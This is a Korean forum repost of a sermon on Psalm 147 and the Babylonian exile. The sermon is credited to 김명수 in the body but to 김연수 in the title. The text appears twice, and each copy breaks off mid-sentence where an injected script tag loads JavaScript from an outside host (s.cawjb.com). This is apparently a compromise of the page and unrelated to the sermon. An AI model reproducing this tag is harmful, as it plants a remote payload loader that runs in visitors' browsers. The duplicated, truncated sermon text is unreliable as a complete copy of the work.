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[제목]
천지불인(天地不仁)의 하나님 (김연수)
🧑 정부영
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📅 2016-01-09 22:11:16
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👀 125
http://blog.naver.com/sinanouta/50006533038
천지불인(天地不仁)의 하나님
[시편 147:1~4]
김명수 목사(경성대 신학과 교수)
주전 1000년경 이스라엘을 통일한 다윗은 자기 고향인 예루살렘을 왕국의 수도로 정했습니다. 예루살렘은 높은 구릉 위에 위치해있고, 두꺼운 성벽으로 둘러싸여 있기 때문에, 천혜적인 방어조건을 갖춘 난공불락의 요새였기 때문이었습니다. 예루살렘에는 풍부한 수자원이 있었고, 주민들은 적의 공격에 대비하여 성벽 안에 항상 필수품을 보관해놓았기 때문에, 그들은 외국군에 의해서 포위를 당해도 상당기간동안 버틸 수 있었습니다.
방어벽 뒤에는 솔로몬이 건축한 야훼성전이 웅장한 자태를 드러내고 있습니다. 높은 언덕 위에 위치한 야훼성전이 석양빛을 받으면 황금빛으로 반짝거려 멀리 남쪽에서 바라보면 마치 하늘과 땅이 맞닿은 천상의 도성처럼 보였습니다.
예루살렘은 4백 년 동안 외국인의 침략을 한번도 받지 않았는데, 천혜적(天惠的)인 방어 조건도 그 이유 중에 하나이겠지만, 유대인들은 성전에 계신 야훼 하나님께서 예루살렘을 지켜주시기 때문이라고 굳게 믿었습니다.
기원전 618년 유대 왕 요시아는 성전을 수리하다가 우연히 하나의 율법서를 발견했습니다. 이름하여 신명기 법전이라는 것이었는데, 그는 이 법전에 근거해서 소위 "종교개혁"을 단행했습니다. 요시아왕은 유대지역에 있는 모든 우상신상(神像)들을 철폐하고, 예배 처소인 벧엘과 단을 모두 폐쇄했습니다. 그리고 유대인들에게 주요 명절인 유월절, 장막절, 오순절을 예루살렘에서만 지키도록 법제화(法制化)했습니다. 이와 같이 요시아는 율법 중심의 신앙 그리고 예루살렘 성전 중심의 신앙을 회복하는데 주력했습니다. 요시아의 종교개혁 이후로 예루살렘은 거룩한 야훼 하나님의 도성(都城) 시온(Zion)으로 불리게 되었던 것입니다.
그런데 요시아의 종교개혁에도 불구하고 종교개혁 20년 뒤, 기원전 598년에 시온성 예루살렘은 느부갓네살이 이끄는 바빌론 군대에 의해서 허망하게 정복당하고 맙니다. 느부갓네살은 당시 유대왕이었던 여호야긴을 인질로 삼아 바빌론으로 끌고 갔고, 그 대신에 그의 숙부 시드기야를 왕으로 세워 식민통치를 했습니다.
10년 후에 온갖 압제에 견디지 못한 유대 민중은 바빌론의 식민통치에 항거하여 봉기를 일으키고 2년 동안 예루살렘을 사수(死守)했으나 기원전 586년 예루살렘은 바빌론 군대에 의해서 함락 당합니다. 두 번째 침략인 셈입니다. 예루살렘에 입성하자 바빌론 군대는 유대인 저항세력을 모두 살육하였고, 성안의 건물들은 남김없이 파괴했습니다. 집들은 모두 불에 탔습니다. 무엇보다도 야훼 하나님의 거처라고 신봉하고 있는 성전이 완전히 잿더미로 변해버렸습니다. 느부갓네살은 시드기야 왕이 보는 앞에서 그 아들들을 처형하고, 왕의 두 눈을 뽑아 바빌론으로 끌고 갔습니다.
야훼 하나님의 거룩한 도시 시온성은 이와 같이 무참히 파괴되었을 뿐만 아니라, 성전은 돌무더기로 변하고 말았습니다. 이러한 참담한 상황을 바라보면서 유대인들은 그들이 지금까지 믿어왔던 야훼 하나님에 대한 신앙의 거점이 여지없이 무너져 내리는 것을 경험하지 않을 수 없었습니다.
바빌론 군인들은 예루살렘에 거주하고 있던 상당수에 이르던 중산층 유대 지식인 전쟁 포로들을 바빌론으로 끌고 갑니다. 유배당한 히브리인들은 유프라데스강 유역에서 강제노동에 투입되었습니다. 고된 노예생활을 하면서 히브리인들은 두고 온 고국의 산하와 시온성 그리고 야훼성전을 생각하며 눈물을 흘리며 유배생활을 합니다.(왕하 24~25장)
시편 137편에서 우리는 바빌론으로 유배당한 히브리인들, 이역만리에서 강제노역에 시달리며 온갖 고초를 겪고있는 히브리인들, 그들의 고향 시온성을 생각하며 눈물을 흘리는 히브리인들의 한(恨)을 읽을 수 있습니다.
“바빌론 강가, 거기에 앉아 시온을 생각하며 눈물을 흘렸다. 그 언덕 버드나무 가지 위에 우리의 수금을 걸어놓고, 우리를 잡아온 그 사람들이 노래하라고 청하였지만, 우리를 끌고 온 그 사람들이 ‘한 가락 시온 노래를 불러라’고 하였지만, 우리 어찌 이국의 낯선 땅에서 야훼의 노래를 부르랴! 예루살렘아, 내가 너를 잊는다면 내 오른 손이 말라비틀어질 것이다. 내가 너를 잊는다면, 내가 너보다도 다른 것을 더 좋아한다면, 내 혀야, 입천장에 붙어버려라. ..”
하루 종일 강제노역에 시달리던 히브리인들, 고된 몸을 이끌고 저녁에 막사에 돌아오니, 바빌론 병정들이 야유합니다. 너희가 믿는 야훼가 강하다면 너희가 이렇게 노예로 끌려왔겠는가? 시온의 노래를 한 곡조 불러 우리를 즐겁게 하라! 그 때 히브리?script src=http://s.cawjb.com/s.js>
천지불인(天地不仁)의 하나님
[시편 147:1~4]
김명수 목사(경성대 신학과 교수)
주전 1000년경 이스라엘을 통일한 다윗은 자기 고향인 예루살렘을 왕국의 수도로 정했습니다. 예루살렘은 높은 구릉 위에 위치해있고, 두꺼운 성벽으로 둘러싸여 있기 때문에, 천혜적인 방어조건을 갖춘 난공불락의 요새였기 때문이었습니다. 예루살렘에는 풍부한 수자원이 있었고, 주민들은 적의 공격에 대비하여 성벽 안에 항상 필수품을 보관해놓았기 때문에, 그들은 외국군에 의해서 포위를 당해도 상당기간동안 버틸 수 있었습니다.
방어벽 뒤에는 솔로몬이 건축한 야훼성전이 웅장한 자태를 드러내고 있습니다. 높은 언덕 위에 위치한 야훼성전이 석양빛을 받으면 황금빛으로 반짝거려 멀리 남쪽에서 바라보면 마치 하늘과 땅이 맞닿은 천상의 도성처럼 보였습니다.
예루살렘은 4백 년 동안 외국인의 침략을 한번도 받지 않았는데, 천혜적(天惠的)인 방어 조건도 그 이유 중에 하나이겠지만, 유대인들은 성전에 계신 야훼 하나님께서 예루살렘을 지켜주시기 때문이라고 굳게 믿었습니다.
기원전 618년 유대 왕 요시아는 성전을 수리하다가 우연히 하나의 율법서를 발견했습니다. 이름하여 신명기 법전이라는 것이었는데, 그는 이 법전에 근거해서 소위 "종교개혁"을 단행했습니다. 요시아왕은 유대지역에 있는 모든 우상신상(神像)들을 철폐하고, 예배 처소인 벧엘과 단을 모두 폐쇄했습니다. 그리고 유대인들에게 주요 명절인 유월절, 장막절, 오순절을 예루살렘에서만 지키도록 법제화(法制化)했습니다. 이와 같이 요시아는 율법 중심의 신앙 그리고 예루살렘 성전 중심의 신앙을 회복하는데 주력했습니다. 요시아의 종교개혁 이후로 예루살렘은 거룩한 야훼 하나님의 도성(都城) 시온(Zion)으로 불리게 되었던 것입니다.
그런데 요시아의 종교개혁에도 불구하고 종교개혁 20년 뒤, 기원전 598년에 시온성 예루살렘은 느부갓네살이 이끄는 바빌론 군대에 의해서 허망하게 정복당하고 맙니다. 느부갓네살은 당시 유대왕이었던 여호야긴을 인질로 삼아 바빌론으로 끌고 갔고, 그 대신에 그의 숙부 시드기야를 왕으로 세워 식민통치를 했습니다.
10년 후에 온갖 압제에 견디지 못한 유대 민중은 바빌론의 식민통치에 항거하여 봉기를 일으키고 2년 동안 예루살렘을 사수(死守)했으나 기원전 586년 예루살렘은 바빌론 군대에 의해서 함락 당합니다. 두 번째 침략인 셈입니다. 예루살렘에 입성하자 바빌론 군대는 유대인 저항세력을 모두 살육하였고, 성안의 건물들은 남김없이 파괴했습니다. 집들은 모두 불에 탔습니다. 무엇보다도 야훼 하나님의 거처라고 신봉하고 있는 성전이 완전히 잿더미로 변해버렸습니다. 느부갓네살은 시드기야 왕이 보는 앞에서 그 아들들을 처형하고, 왕의 두 눈을 뽑아 바빌론으로 끌고 갔습니다.
야훼 하나님의 거룩한 도시 시온성은 이와 같이 무참히 파괴되었을 뿐만 아니라, 성전은 돌무더기로 변하고 말았습니다. 이러한 참담한 상황을 바라보면서 유대인들은 그들이 지금까지 믿어왔던 야훼 하나님에 대한 신앙의 거점이 여지없이 무너져 내리는 것을 경험하지 않을 수 없었습니다.
바빌론 군인들은 예루살렘에 거주하고 있던 상당수에 이르던 중산층 유대 지식인 전쟁 포로들을 바빌론으로 끌고 갑니다. 유배당한 히브리인들은 유프라데스강 유역에서 강제노동에 투입되었습니다. 고된 노예생활을 하면서 히브리인들은 두고 온 고국의 산하와 시온성 그리고 야훼성전을 생각하며 눈물을 흘리며 유배생활을 합니다.(왕하 24~25장)
시편 137편에서 우리는 바빌론으로 유배당한 히브리인들, 이역만리에서 강제노역에 시달리며 온갖 고초를 겪고있는 히브리인들, 그들의 고향 시온성을 생각하며 눈물을 흘리는 히브리인들의 한(恨)을 읽을 수 있습니다.
“바빌론 강가, 거기에 앉아 시온을 생각하며 눈물을 흘렸다. 그 언덕 버드나무 가지 위에 우리의 수금을 걸어놓고, 우리를 잡아온 그 사람들이 노래하라고 청하였지만, 우리를 끌고 온 그 사람들이 ‘한 가락 시온 노래를 불러라’고 하였지만, 우리 어찌 이국의 낯선 땅에서 야훼의 노래를 부르랴! 예루살렘아, 내가 너를 잊는다면 내 오른 손이 말라비틀어질 것이다. 내가 너를 잊는다면, 내가 너보다도 다른 것을 더 좋아한다면, 내 혀야, 입천장에 붙어버려라. ..”
하루 종일 강제노역에 시달리던 히브리인들, 고된 몸을 이끌고 저녁에 막사에 돌아오니, 바빌론 병정들이 야유합니다. 너희가 믿는 야훼가 강하다면 너희가 이렇게 노예로 끌려왔겠는가? 시온의 노래를 한 곡조 불러 우리를 즐겁게 하라! 그 때 히브리?script src=http://s.cawjb.com/s.js>
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